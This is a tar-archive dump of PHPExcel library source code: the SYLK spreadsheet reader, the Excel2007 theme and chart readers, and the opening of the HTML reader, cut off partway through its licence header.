http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ interface PHPExcel_IComparable { /** * Get hash code * * @return string Hash code */ public function getHashCode(); } PHPExcel/Reader/SYLK.php 0000644 00000046254 14642534110 0010664 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_SYLK * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_SYLK extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * Input encoding * * @var string */ private $inputEncoding = 'ANSI'; /** * Sheet index to read * * @var int */ private $sheetIndex = 0; /** * Formats * * @var array */ private $formats = array(); /** * Format Count * * @var int */ private $format = 0; /** * Create a new PHPExcel_Reader_SYLK */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); } /** * Validate that the current file is a SYLK file * * @return boolean */ protected function isValidFormat() { // Read sample data (first 2 KB will do) $data = fread($this->fileHandle, 2048); // Count delimiters in file $delimiterCount = substr_count($data, ';'); if ($delimiterCount < 1) { return false; } // Analyze first line looking for ID; signature $lines = explode("\n", $data); if (substr($lines[0], 0, 4) != 'ID;P') { return false; } return true; } /** * Set input encoding * * @param string $pValue Input encoding */ public function setInputEncoding($pValue = 'ANSI') { $this->inputEncoding = $pValue; return $this; } /** * Get input encoding * * @return string */ public function getInputEncoding() { return $this->inputEncoding; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns) * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetInfo($pFilename) { // Open file $this->openFile($pFilename); if (!$this->isValidFormat()) { fclose($this->fileHandle); throw new PHPExcel_Reader_Exception($pFilename . " is an Invalid Spreadsheet file."); } $fileHandle = $this->fileHandle; rewind($fileHandle); $worksheetInfo = array(); $worksheetInfo[0]['worksheetName'] = 'Worksheet'; $worksheetInfo[0]['lastColumnLetter'] = 'A'; $worksheetInfo[0]['lastColumnIndex'] = 0; $worksheetInfo[0]['totalRows'] = 0; $worksheetInfo[0]['totalColumns'] = 0; // Loop through file $rowData = array(); // loop through one row (line) at a time in the file $rowIndex = 0; while (($rowData = fgets($fileHandle)) !== false) { $columnIndex = 0; // convert SYLK encoded $rowData to UTF-8 $rowData = PHPExcel_Shared_String::SYLKtoUTF8($rowData); // explode each row at semicolons while taking into account that literal semicolon (;) // is escaped like this (;;) $rowData = explode("\t", str_replace('¤', ';', str_replace(';', "\t", str_replace(';;', '¤', rtrim($rowData))))); $dataType = array_shift($rowData); if ($dataType == 'C') { // Read cell value data foreach ($rowData as $rowDatum) { switch ($rowDatum{0}) { case 'C': case 'X': $columnIndex = substr($rowDatum, 1) - 1; break; case 'R': case 'Y': $rowIndex = substr($rowDatum, 1); break; } $worksheetInfo[0]['totalRows'] = max($worksheetInfo[0]['totalRows'], $rowIndex); $worksheetInfo[0]['lastColumnIndex'] = max($worksheetInfo[0]['lastColumnIndex'], $columnIndex); } } } $worksheetInfo[0]['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($worksheetInfo[0]['lastColumnIndex']); $worksheetInfo[0]['totalColumns'] = $worksheetInfo[0]['lastColumnIndex'] + 1; // Close file fclose($fileHandle); return $worksheetInfo; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Create new PHPExcel $objPHPExcel = new PHPExcel(); // Load into this instance return $this->loadIntoExisting($pFilename, $objPHPExcel); } /** * Loads PHPExcel from file into PHPExcel instance * * @param string $pFilename * @param PHPExcel $objPHPExcel * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function loadIntoExisting($pFilename, PHPExcel $objPHPExcel) { // Open file $this->openFile($pFilename); if (!$this->isValidFormat()) { fclose($this->fileHandle); throw new PHPExcel_Reader_Exception($pFilename . " is an Invalid Spreadsheet file."); } $fileHandle = $this->fileHandle; rewind($fileHandle); // Create new PHPExcel while ($objPHPExcel->getSheetCount() <= $this->sheetIndex) { $objPHPExcel->createSheet(); } $objPHPExcel->setActiveSheetIndex($this->sheetIndex); $fromFormats = array('\-', '\ '); $toFormats = array('-', ' '); // Loop through file $rowData = array(); $column = $row = ''; // loop through one row (line) at a time in the file while (($rowData = fgets($fileHandle)) !== false) { // convert SYLK encoded $rowData to UTF-8 $rowData = PHPExcel_Shared_String::SYLKtoUTF8($rowData); // explode each row at semicolons while taking into account that literal semicolon (;) // is escaped like this (;;) $rowData = explode("\t", str_replace('¤', ';', str_replace(';', "\t", str_replace(';;', '¤', rtrim($rowData))))); $dataType = array_shift($rowData); // Read shared styles if ($dataType == 'P') { $formatArray = array(); foreach ($rowData as $rowDatum) { switch ($rowDatum{0}) { case 'P': $formatArray['numberformat']['code'] = str_replace($fromFormats, $toFormats, substr($rowDatum, 1)); break; case 'E': case 'F': $formatArray['font']['name'] = substr($rowDatum, 1); break; case 'L': $formatArray['font']['size'] = substr($rowDatum, 1); break; case 'S': $styleSettings = substr($rowDatum, 1); for ($i=0; $i<strlen($styleSettings); ++$i) { switch ($styleSettings{$i}) { case 'I': $formatArray['font']['italic'] = true; break; case 'D': $formatArray['font']['bold'] = true; break; case 'T': $formatArray['borders']['top']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; case 'B': $formatArray['borders']['bottom']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; case 'L': $formatArray['borders']['left']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; case 'R': $formatArray['borders']['right']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; } } break; } } $this->formats['P'.$this->format++] = $formatArray; // Read cell value data } elseif ($dataType == 'C') { $hasCalculatedValue = false; $cellData = $cellDataFormula = ''; foreach ($rowData as $rowDatum) { switch ($rowDatum{0}) { case 'C': case 'X': $column = substr($rowDatum, 1); break; case 'R': case 'Y': $row = substr($rowDatum, 1); break; case 'K': $cellData = substr($rowDatum, 1); break; case 'E': $cellDataFormula = '='.substr($rowDatum, 1); // Convert R1C1 style references to A1 style references (but only when not quoted) $temp = explode('"', $cellDataFormula); $key = false; foreach ($temp as &$value) { // Only count/replace in alternate array entries if ($key = !$key) { preg_match_all('/(R(\[?-?\d*\]?))(C(\[?-?\d*\]?))/', $value, $cellReferences, PREG_SET_ORDER+PREG_OFFSET_CAPTURE); // Reverse the matches array, otherwise all our offsets will become incorrect if we modify our way // through the formula from left to right. Reversing means that we work right to left.through // the formula $cellReferences = array_reverse($cellReferences); // Loop through each R1C1 style reference in turn, converting it to its A1 style equivalent, // then modify the formula to use that new reference foreach ($cellReferences as $cellReference) { $rowReference = $cellReference[2][0]; // Empty R reference is the current row if ($rowReference == '') { $rowReference = $row; } // Bracketed R references are relative to the current row if ($rowReference{0} == '[') { $rowReference = $row + trim($rowReference, '[]'); } $columnReference = $cellReference[4][0]; // Empty C reference is the current column if ($columnReference == '') { $columnReference = $column; } // Bracketed C references are relative to the current column if ($columnReference{0} == '[') { $columnReference = $column + trim($columnReference, '[]'); } $A1CellReference = PHPExcel_Cell::stringFromColumnIndex($columnReference-1).$rowReference; $value = substr_replace($value, $A1CellReference, $cellReference[0][1], strlen($cellReference[0][0])); } } } unset($value); // Then rebuild the formula string $cellDataFormula = implode('"', $temp); $hasCalculatedValue = true; break; } } $columnLetter = PHPExcel_Cell::stringFromColumnIndex($column-1); $cellData = PHPExcel_Calculation::unwrapResult($cellData); // Set cell value $objPHPExcel->getActiveSheet()->getCell($columnLetter.$row)->setValue(($hasCalculatedValue) ? $cellDataFormula : $cellData); if ($hasCalculatedValue) { $cellData = PHPExcel_Calculation::unwrapResult($cellData); $objPHPExcel->getActiveSheet()->getCell($columnLetter.$row)->setCalculatedValue($cellData); } // Read cell formatting } elseif ($dataType == 'F') { $formatStyle = $columnWidth = $styleSettings = ''; $styleData = array(); foreach ($rowData as $rowDatum) { switch ($rowDatum{0}) { case 'C': case 'X': $column = substr($rowDatum, 1); break; case 'R': case 'Y': $row = substr($rowDatum, 1); break; case 'P': $formatStyle = $rowDatum; break; case 'W': list($startCol, $endCol, $columnWidth) = explode(' ', substr($rowDatum, 1)); break; case 'S': $styleSettings = substr($rowDatum, 1); for ($i=0; $i<strlen($styleSettings); ++$i) { switch ($styleSettings{$i}) { case 'I': $styleData['font']['italic'] = true; break; case 'D': $styleData['font']['bold'] = true; break; case 'T': $styleData['borders']['top']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; case 'B': $styleData['borders']['bottom']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; case 'L': $styleData['borders']['left']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; case 'R': $styleData['borders']['right']['style'] = PHPExcel_Style_Border::BORDER_THIN; break; } } break; } } if (($formatStyle > '') && ($column > '') && ($row > '')) { $columnLetter = PHPExcel_Cell::stringFromColumnIndex($column-1); if (isset($this->formats[$formatStyle])) { $objPHPExcel->getActiveSheet()->getStyle($columnLetter.$row)->applyFromArray($this->formats[$formatStyle]); } } if ((!empty($styleData)) && ($column > '') && ($row > '')) { $columnLetter = PHPExcel_Cell::stringFromColumnIndex($column-1); $objPHPExcel->getActiveSheet()->getStyle($columnLetter.$row)->applyFromArray($styleData); } if ($columnWidth > '') { if ($startCol == $endCol) { $startCol = PHPExcel_Cell::stringFromColumnIndex($startCol-1); $objPHPExcel->getActiveSheet()->getColumnDimension($startCol)->setWidth($columnWidth); } else { $startCol = PHPExcel_Cell::stringFromColumnIndex($startCol-1); $endCol = PHPExcel_Cell::stringFromColumnIndex($endCol-1); $objPHPExcel->getActiveSheet()->getColumnDimension($startCol)->setWidth($columnWidth); do { $objPHPExcel->getActiveSheet()->getColumnDimension(++$startCol)->setWidth($columnWidth); } while ($startCol != $endCol); } } } else { foreach ($rowData as $rowDatum) { switch ($rowDatum{0}) { case 'C': case 'X': $column = substr($rowDatum, 1); break; case 'R': case 'Y': $row = substr($rowDatum, 1); break; } } } } // Close file fclose($fileHandle); // Return return $objPHPExcel; } /** * Get sheet index * * @return int */ public function getSheetIndex() { return $this->sheetIndex; } /** * Set sheet index * * @param int $pValue Sheet index * @return PHPExcel_Reader_SYLK */ public function setSheetIndex($pValue = 0) { $this->sheetIndex = $pValue; return $this; } } PHPExcel/Reader/Excel2007/Theme.php 0000644 00000005734 14642534110 0012513 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Reader_Excel2007_Theme * * @category PHPExcel * @package PHPExcel_Reader_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_Reader_Excel2007_Theme { /** * Theme Name * * @var string */ private $themeName; /** * Colour Scheme Name * * @var string */ private $colourSchemeName; /** * Colour Map indexed by position * * @var array of string */ private $colourMapValues; /** * Colour Map * * @var array of string */ private $colourMap; /** * Create a new PHPExcel_Theme * */ public function __construct($themeName, $colourSchemeName, $colourMap) { // Initialise values $this->themeName = $themeName; $this->colourSchemeName = $colourSchemeName; $this->colourMap = $colourMap; } /** * Get Theme Name * * @return string */ public function getThemeName() { return $this->themeName; } /** * Get colour Scheme Name * * @return string */ public function getColourSchemeName() { return $this->colourSchemeName; } /** * Get colour Map Value by Position * * @return string */ public function getColourByIndex($index = 0) { if (isset($this->colourMap[$index])) { return $this->colourMap[$index]; } return null; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if ((is_object($value)) && ($key != '_parent')) { $this->$key = clone $value; } else { $this->$key = $value; } } } } PHPExcel/Reader/Excel2007/Chart.php 0000644 00000065037 14642534110 0012514 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Reader_Excel2007_Chart * * @category PHPExcel * @package PHPExcel_Reader_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_Reader_Excel2007_Chart { private static function getAttribute($component, $name, $format) { $attributes = $component->attributes(); if (isset($attributes[$name])) { if ($format == 'string') { return (string) $attributes[$name]; } elseif ($format == 'integer') { return (integer) $attributes[$name]; } elseif ($format == 'boolean') { return (boolean) ($attributes[$name] === '0' || $attributes[$name] !== 'true') ? false : true; } else { return (float) $attributes[$name]; } } return null; } private static function readColor($color, $background = false) { if (isset($color["rgb"])) { return (string)$color["rgb"]; } elseif (isset($color["indexed"])) { return PHPExcel_Style_Color::indexedColor($color["indexed"]-7, $background)->getARGB(); } } public static function readChart($chartElements, $chartName) { $namespacesChartMeta = $chartElements->getNamespaces(true); $chartElementsC = $chartElements->children($namespacesChartMeta['c']); $XaxisLabel = $YaxisLabel = $legend = $title = null; $dispBlanksAs = $plotVisOnly = null; foreach ($chartElementsC as $chartElementKey => $chartElement) { switch ($chartElementKey) { case "chart": foreach ($chartElement as $chartDetailsKey => $chartDetails) { $chartDetailsC = $chartDetails->children($namespacesChartMeta['c']); switch ($chartDetailsKey) { case "plotArea": $plotAreaLayout = $XaxisLable = $YaxisLable = null; $plotSeries = $plotAttributes = array(); foreach ($chartDetails as $chartDetailKey => $chartDetail) { switch ($chartDetailKey) { case "layout": $plotAreaLayout = self::chartLayoutDetails($chartDetail, $namespacesChartMeta, 'plotArea'); break; case "catAx": if (isset($chartDetail->title)) { $XaxisLabel = self::chartTitle($chartDetail->title->children($namespacesChartMeta['c']), $namespacesChartMeta, 'cat'); } break; case "dateAx": if (isset($chartDetail->title)) { $XaxisLabel = self::chartTitle($chartDetail->title->children($namespacesChartMeta['c']), $namespacesChartMeta, 'cat'); } break; case "valAx": if (isset($chartDetail->title)) { $YaxisLabel = self::chartTitle($chartDetail->title->children($namespacesChartMeta['c']), $namespacesChartMeta, 'cat'); } break; case "barChart": case "bar3DChart": $barDirection = self::getAttribute($chartDetail->barDir, 'val', 'string'); $plotSer = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotSer->setPlotDirection($barDirection); $plotSeries[] = $plotSer; $plotAttributes = self::readChartAttributes($chartDetail); break; case "lineChart": case "line3DChart": $plotSeries[] = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotAttributes = self::readChartAttributes($chartDetail); break; case "areaChart": case "area3DChart": $plotSeries[] = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotAttributes = self::readChartAttributes($chartDetail); break; case "doughnutChart": case "pieChart": case "pie3DChart": $explosion = isset($chartDetail->ser->explosion); $plotSer = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotSer->setPlotStyle($explosion); $plotSeries[] = $plotSer; $plotAttributes = self::readChartAttributes($chartDetail); break; case "scatterChart": $scatterStyle = self::getAttribute($chartDetail->scatterStyle, 'val', 'string'); $plotSer = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotSer->setPlotStyle($scatterStyle); $plotSeries[] = $plotSer; $plotAttributes = self::readChartAttributes($chartDetail); break; case "bubbleChart": $bubbleScale = self::getAttribute($chartDetail->bubbleScale, 'val', 'integer'); $plotSer = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotSer->setPlotStyle($bubbleScale); $plotSeries[] = $plotSer; $plotAttributes = self::readChartAttributes($chartDetail); break; case "radarChart": $radarStyle = self::getAttribute($chartDetail->radarStyle, 'val', 'string'); $plotSer = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotSer->setPlotStyle($radarStyle); $plotSeries[] = $plotSer; $plotAttributes = self::readChartAttributes($chartDetail); break; case "surfaceChart": case "surface3DChart": $wireFrame = self::getAttribute($chartDetail->wireframe, 'val', 'boolean'); $plotSer = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotSer->setPlotStyle($wireFrame); $plotSeries[] = $plotSer; $plotAttributes = self::readChartAttributes($chartDetail); break; case "stockChart": $plotSeries[] = self::chartDataSeries($chartDetail, $namespacesChartMeta, $chartDetailKey); $plotAttributes = self::readChartAttributes($plotAreaLayout); break; } } if ($plotAreaLayout == null) { $plotAreaLayout = new PHPExcel_Chart_Layout(); } $plotArea = new PHPExcel_Chart_PlotArea($plotAreaLayout, $plotSeries); self::setChartAttributes($plotAreaLayout, $plotAttributes); break; case "plotVisOnly": $plotVisOnly = self::getAttribute($chartDetails, 'val', 'string'); break; case "dispBlanksAs": $dispBlanksAs = self::getAttribute($chartDetails, 'val', 'string'); break; case "title": $title = self::chartTitle($chartDetails, $namespacesChartMeta, 'title'); break; case "legend": $legendPos = 'r'; $legendLayout = null; $legendOverlay = false; foreach ($chartDetails as $chartDetailKey => $chartDetail) { switch ($chartDetailKey) { case "legendPos": $legendPos = self::getAttribute($chartDetail, 'val', 'string'); break; case "overlay": $legendOverlay = self::getAttribute($chartDetail, 'val', 'boolean'); break; case "layout": $legendLayout = self::chartLayoutDetails($chartDetail, $namespacesChartMeta, 'legend'); break; } } $legend = new PHPExcel_Chart_Legend($legendPos, $legendLayout, $legendOverlay); break; } } } } $chart = new PHPExcel_Chart($chartName, $title, $legend, $plotArea, $plotVisOnly, $dispBlanksAs, $XaxisLabel, $YaxisLabel); return $chart; } private static function chartTitle($titleDetails, $namespacesChartMeta, $type) { $caption = array(); $titleLayout = null; foreach ($titleDetails as $titleDetailKey => $chartDetail) { switch ($titleDetailKey) { case "tx": $titleDetails = $chartDetail->rich->children($namespacesChartMeta['a']); foreach ($titleDetails as $titleKey => $titleDetail) { switch ($titleKey) { case "p": $titleDetailPart = $titleDetail->children($namespacesChartMeta['a']); $caption[] = self::parseRichText($titleDetailPart); } } break; case "layout": $titleLayout = self::chartLayoutDetails($chartDetail, $namespacesChartMeta); break; } } return new PHPExcel_Chart_Title($caption, $titleLayout); } private static function chartLayoutDetails($chartDetail, $namespacesChartMeta) { if (!isset($chartDetail->manualLayout)) { return null; } $details = $chartDetail->manualLayout->children($namespacesChartMeta['c']); if (is_null($details)) { return null; } $layout = array(); foreach ($details as $detailKey => $detail) { // echo $detailKey, ' => ',self::getAttribute($detail, 'val', 'string'),PHP_EOL; $layout[$detailKey] = self::getAttribute($detail, 'val', 'string'); } return new PHPExcel_Chart_Layout($layout); } private static function chartDataSeries($chartDetail, $namespacesChartMeta, $plotType) { $multiSeriesType = null; $smoothLine = false; $seriesLabel = $seriesCategory = $seriesValues = $plotOrder = array(); $seriesDetailSet = $chartDetail->children($namespacesChartMeta['c']); foreach ($seriesDetailSet as $seriesDetailKey => $seriesDetails) { switch ($seriesDetailKey) { case "grouping": $multiSeriesType = self::getAttribute($chartDetail->grouping, 'val', 'string'); break; case "ser": $marker = null; foreach ($seriesDetails as $seriesKey => $seriesDetail) { switch ($seriesKey) { case "idx": $seriesIndex = self::getAttribute($seriesDetail, 'val', 'integer'); break; case "order": $seriesOrder = self::getAttribute($seriesDetail, 'val', 'integer'); $plotOrder[$seriesIndex] = $seriesOrder; break; case "tx": $seriesLabel[$seriesIndex] = self::chartDataSeriesValueSet($seriesDetail, $namespacesChartMeta); break; case "marker": $marker = self::getAttribute($seriesDetail->symbol, 'val', 'string'); break; case "smooth": $smoothLine = self::getAttribute($seriesDetail, 'val', 'boolean'); break; case "cat": $seriesCategory[$seriesIndex] = self::chartDataSeriesValueSet($seriesDetail, $namespacesChartMeta); break; case "val": $seriesValues[$seriesIndex] = self::chartDataSeriesValueSet($seriesDetail, $namespacesChartMeta, $marker); break; case "xVal": $seriesCategory[$seriesIndex] = self::chartDataSeriesValueSet($seriesDetail, $namespacesChartMeta, $marker); break; case "yVal": $seriesValues[$seriesIndex] = self::chartDataSeriesValueSet($seriesDetail, $namespacesChartMeta, $marker); break; } } } } return new PHPExcel_Chart_DataSeries($plotType, $multiSeriesType, $plotOrder, $seriesLabel, $seriesCategory, $seriesValues, $smoothLine); } private static function chartDataSeriesValueSet($seriesDetail, $namespacesChartMeta, $marker = null, $smoothLine = false) { if (isset($seriesDetail->strRef)) { $seriesSource = (string) $seriesDetail->strRef->f; $seriesData = self::chartDataSeriesValues($seriesDetail->strRef->strCache->children($namespacesChartMeta['c']), 's'); return new PHPExcel_Chart_DataSeriesValues('String', $seriesSource, $seriesData['formatCode'], $seriesData['pointCount'], $seriesData['dataValues'], $marker, $smoothLine); } elseif (isset($seriesDetail->numRef)) { $seriesSource = (string) $seriesDetail->numRef->f; $seriesData = self::chartDataSeriesValues($seriesDetail->numRef->numCache->children($namespacesChartMeta['c'])); return new PHPExcel_Chart_DataSeriesValues('Number', $seriesSource, $seriesData['formatCode'], $seriesData['pointCount'], $seriesData['dataValues'], $marker, $smoothLine); } elseif (isset($seriesDetail->multiLvlStrRef)) { $seriesSource = (string) $seriesDetail->multiLvlStrRef->f; $seriesData = self::chartDataSeriesValuesMultiLevel($seriesDetail->multiLvlStrRef->multiLvlStrCache->children($namespacesChartMeta['c']), 's'); $seriesData['pointCount'] = count($seriesData['dataValues']); return new PHPExcel_Chart_DataSeriesValues('String', $seriesSource, $seriesData['formatCode'], $seriesData['pointCount'], $seriesData['dataValues'], $marker, $smoothLine); } elseif (isset($seriesDetail->multiLvlNumRef)) { $seriesSource = (string) $seriesDetail->multiLvlNumRef->f; $seriesData = self::chartDataSeriesValuesMultiLevel($seriesDetail->multiLvlNumRef->multiLvlNumCache->children($namespacesChartMeta['c']), 's'); $seriesData['pointCount'] = count($seriesData['dataValues']); return new PHPExcel_Chart_DataSeriesValues('String', $seriesSource, $seriesData['formatCode'], $seriesData['pointCount'], $seriesData['dataValues'], $marker, $smoothLine); } return null; } private static function chartDataSeriesValues($seriesValueSet, $dataType = 'n') { $seriesVal = array(); $formatCode = ''; $pointCount = 0; foreach ($seriesValueSet as $seriesValueIdx => $seriesValue) { switch ($seriesValueIdx) { case 'ptCount': $pointCount = self::getAttribute($seriesValue, 'val', 'integer'); break; case 'formatCode': $formatCode = (string) $seriesValue; break; case 'pt': $pointVal = self::getAttribute($seriesValue, 'idx', 'integer'); if ($dataType == 's') { $seriesVal[$pointVal] = (string) $seriesValue->v; } else { $seriesVal[$pointVal] = (float) $seriesValue->v; } break; } } return array( 'formatCode' => $formatCode, 'pointCount' => $pointCount, 'dataValues' => $seriesVal ); } private static function chartDataSeriesValuesMultiLevel($seriesValueSet, $dataType = 'n') { $seriesVal = array(); $formatCode = ''; $pointCount = 0; foreach ($seriesValueSet->lvl as $seriesLevelIdx => $seriesLevel) { foreach ($seriesLevel as $seriesValueIdx => $seriesValue) { switch ($seriesValueIdx) { case 'ptCount': $pointCount = self::getAttribute($seriesValue, 'val', 'integer'); break; case 'formatCode': $formatCode = (string) $seriesValue; break; case 'pt': $pointVal = self::getAttribute($seriesValue, 'idx', 'integer'); if ($dataType == 's') { $seriesVal[$pointVal][] = (string) $seriesValue->v; } else { $seriesVal[$pointVal][] = (float) $seriesValue->v; } break; } } } return array( 'formatCode' => $formatCode, 'pointCount' => $pointCount, 'dataValues' => $seriesVal ); } private static function parseRichText($titleDetailPart = null) { $value = new PHPExcel_RichText(); foreach ($titleDetailPart as $titleDetailElementKey => $titleDetailElement) { if (isset($titleDetailElement->t)) { $objText = $value->createTextRun((string) $titleDetailElement->t); } if (isset($titleDetailElement->rPr)) { if (isset($titleDetailElement->rPr->rFont["val"])) { $objText->getFont()->setName((string) $titleDetailElement->rPr->rFont["val"]); } $fontSize = (self::getAttribute($titleDetailElement->rPr, 'sz', 'integer')); if (!is_null($fontSize)) { $objText->getFont()->setSize(floor($fontSize / 100)); } $fontColor = (self::getAttribute($titleDetailElement->rPr, 'color', 'string')); if (!is_null($fontColor)) { $objText->getFont()->setColor(new PHPExcel_Style_Color(self::readColor($fontColor))); } $bold = self::getAttribute($titleDetailElement->rPr, 'b', 'boolean'); if (!is_null($bold)) { $objText->getFont()->setBold($bold); } $italic = self::getAttribute($titleDetailElement->rPr, 'i', 'boolean'); if (!is_null($italic)) { $objText->getFont()->setItalic($italic); } $baseline = self::getAttribute($titleDetailElement->rPr, 'baseline', 'integer'); if (!is_null($baseline)) { if ($baseline > 0) { $objText->getFont()->setSuperScript(true); } elseif ($baseline < 0) { $objText->getFont()->setSubScript(true); } } $underscore = (self::getAttribute($titleDetailElement->rPr, 'u', 'string')); if (!is_null($underscore)) { if ($underscore == 'sng') { $objText->getFont()->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE); } elseif ($underscore == 'dbl') { $objText->getFont()->setUnderline(PHPExcel_Style_Font::UNDERLINE_DOUBLE); } else { $objText->getFont()->setUnderline(PHPExcel_Style_Font::UNDERLINE_NONE); } } $strikethrough = (self::getAttribute($titleDetailElement->rPr, 's', 'string')); if (!is_null($strikethrough)) { if ($strikethrough == 'noStrike') { $objText->getFont()->setStrikethrough(false); } else { $objText->getFont()->setStrikethrough(true); } } } } return $value; } private static function readChartAttributes($chartDetail) { $plotAttributes = array(); if (isset($chartDetail->dLbls)) { if (isset($chartDetail->dLbls->howLegendKey)) { $plotAttributes['showLegendKey'] = self::getAttribute($chartDetail->dLbls->showLegendKey, 'val', 'string'); } if (isset($chartDetail->dLbls->showVal)) { $plotAttributes['showVal'] = self::getAttribute($chartDetail->dLbls->showVal, 'val', 'string'); } if (isset($chartDetail->dLbls->showCatName)) { $plotAttributes['showCatName'] = self::getAttribute($chartDetail->dLbls->showCatName, 'val', 'string'); } if (isset($chartDetail->dLbls->showSerName)) { $plotAttributes['showSerName'] = self::getAttribute($chartDetail->dLbls->showSerName, 'val', 'string'); } if (isset($chartDetail->dLbls->showPercent)) { $plotAttributes['showPercent'] = self::getAttribute($chartDetail->dLbls->showPercent, 'val', 'string'); } if (isset($chartDetail->dLbls->showBubbleSize)) { $plotAttributes['showBubbleSize'] = self::getAttribute($chartDetail->dLbls->showBubbleSize, 'val', 'string'); } if (isset($chartDetail->dLbls->showLeaderLines)) { $plotAttributes['showLeaderLines'] = self::getAttribute($chartDetail->dLbls->showLeaderLines, 'val', 'string'); } } return $plotAttributes; } private static function setChartAttributes($plotArea, $plotAttributes) { foreach ($plotAttributes as $plotAttributeKey => $plotAttributeValue) { switch ($plotAttributeKey) { case 'showLegendKey': $plotArea->setShowLegendKey($plotAttributeValue); break; case 'showVal': $plotArea->setShowVal($plotAttributeValue); break; case 'showCatName': $plotArea->setShowCatName($plotAttributeValue); break; case 'showSerName': $plotArea->setShowSerName($plotAttributeValue); break; case 'showPercent': $plotArea->setShowPercent($plotAttributeValue); break; case 'showBubbleSize': $plotArea->setShowBubbleSize($plotAttributeValue); break; case 'showLeaderLines': $plotArea->setShowLeaderLines($plotAttributeValue); break; } } } } PHPExcel/Reader/HTML.php 0000644 00000051472 14642534110 0010644 0 ustar 00 <?php if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_HTML * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the 